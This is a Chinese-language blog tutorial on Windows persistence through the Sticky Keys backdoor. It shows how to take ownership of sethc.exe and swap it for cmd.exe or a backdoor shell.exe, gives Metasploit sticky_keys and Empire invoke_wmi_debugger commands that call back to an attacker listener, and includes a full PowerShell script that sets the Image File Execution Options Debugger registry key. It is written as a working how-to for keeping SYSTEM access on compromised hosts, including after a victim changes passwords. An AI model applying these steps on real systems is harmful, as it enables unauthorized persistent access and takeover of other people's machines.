Windows维权之粘滞键项维权

2023-11-30 17:20:38 浏览数 (1)

文章前言

辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读等)可以帮助残疾人更轻松地使用Windows操作系统,但是此功能可能会被滥用于在已启用RDP且已获得管理员级别权限的主机上实现持久性,此技术涉及磁盘或者需要修改注册表才能执行存储的远程负载

基本介绍

目前在window Vista以上的操作系统中修改sethc会提示需要trustedinstaller权限,trustedinstaller是一个安全机制,即系统的最高权限,权限比administrator管理员高,windows权限分为三种从低到高依次是user,administrator,system,而trustedinstaller比 administrator高但没有system高,这么做的好处是避免了一些恶意软件修改系统文件的可能,坏处就是自己不能直接操作了:

所以在这里要先修改sethc权限,将其所有者改为改为我们当前管理员用户,sethc右键属性—>安全—>高级—>更改权限处,切换到所有者选项卡,更改所有者,具体如下图所示:

在该所有者之前,直接编辑其权限都是灰色的,不能修改,有了所有权之后,便可以编辑其权限,这里需要给予自己权限,如下图:

之后在window下执行以下命令:

代码语言:javascript复制
cd c:windowssystem32
move sethc.exe sethc.exe.bak   //备份sethc.exe
copy cmd.exe sethc.exe      //复制cmd.exe重命名为sethc.exe,也可以使用恶意后门文件来替代sethc.exe

之后连续按下5次"Shift"键,之后将弹出命令执行窗口,可以直接以System权限执行系统命令、创建管理员用户、登录服务等

同时,当我们在权限维持时,如果留下了粘滞键后门,当用户修改密码后,我们在远程连接时可能会出现无法登录的情况,这时候上面这种后门进行权限维持就比较有用了:

第一种:创建cmd.exe粘滞键,之后在登录界面按下5次shift调用cmd来添加用户,之后再次登录:

第二种:使用后门文件shell.exe来替换sethc.exe文件,之后远程时直接五次shift上线即可~

Metasploit 

Metasploit框架提供了一个后渗透测试利用模块,该模块可用于自动化粘性键的持久性技术,该模块将用CMD替换所选的辅助功能二进制文件(sethc,osk,disp,utilman)。

代码语言:javascript复制
use post/windows/manage/sticky_keys
set SESSION 8
exploit

之后在目标主机中连续五次shift即可执行SYSTEM权限的命令行,这在RDP远程登录用户密码已被修改的情况下很有用~

Empire框架

Empire中提供了粘滞键权限维持的模块,在使用时可以通过shift粘滞键来触发远程代理后门到empire中
代码语言:javascript复制
(Empire: ECY9D6XK) > usemodule lateral_movement/invoke_wmi_debugger
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > info
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set Listener SimpleTest
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set ComputerName WIN7-Test
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > execute

#注意这里可以将sethc.exe替换为Utilman.exe(快捷键为: Win   U)或者osk.exe(屏幕上的键盘Win   U启动再选择)
Narrator.exe (启动讲述人Win   U启动再选择) Magnify.exe(放大镜Win   U启动再选择)

之后在目标主机上按5次shift即可触发后门代理(中间会有一个弹窗迅速闪过,用于执行命令,笔者也未捕获到)

之后在empire中成功反弹后门代理:

Powershell

粘性键持久性技术是众所周知的,一些攻击者者在网络攻击期间也常常使用它,除了上述的Metasploit和Empire之外,我们还可以使用脚本来自动执行此方法,Preston Thornburg编写了以下PowerShell脚本,该脚本可以通过修改注册表来实现持久性

代码语言:javascript复制
$registryPath = "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options" 
$keyName = "sethc.exe" 
$stringName = "Debugger" 
$binaryValue = "C:WindowsSystem32cmd.exe"
IF (Test-Path ($registryPath   $keyName)) 
{
     # Sticky Keys backdoor exists.    
     write-host "Registry key found. Let's remove it."    
     #New-Item -Path $registryPath -Name $keyName | Out-Null    
     Remove-Item -Path ($registryPath   $keyName) | Out-Null    
     write-host "Sticky Key backdoor has been removed."    
}
ELSE
{    
     # Sticky Keys backdoor does not exist, let's add it.    
     write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry."    
     New-Item -Path $registryPath -Name $keyName | Out-Null    
     New-ItemProperty -Path ($registryPath   $keyName) -Name $stringName -Value $binaryValue | Out-Null     
     write-host "Sticky Keys backdoor added."     
}

之后执行五次"shift"按键,可以成功弹出命令行界面:

批处理文件1

我们也可以通过批处理文件logon_backdoor(https://github.com/szymon1118/logon_backdoor )来实现,上传backdoor.bat文件到目标主机,之后运行批处理文件,根据提示添加粘滞键后门:

选项1将修改“ Debugger ”键,以包括命令提示符的路径:

代码语言:javascript复制
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe

之后五次shift,成功执行cmd:

批处理文件2

与批处理文件1方式类似,Sticky-Keys项目(https://github.com/HanKooR/Sticky-Keys )提供了一个额外的选项,把系统控制台给用户,该工具的使用较为简单,下载批处理文件之后下目标主机执行即可

虽然执行时可能会有一些小错误,但是执行结果没有任何问题,我们可以按下5次shift来调用命令行:

0 人点赞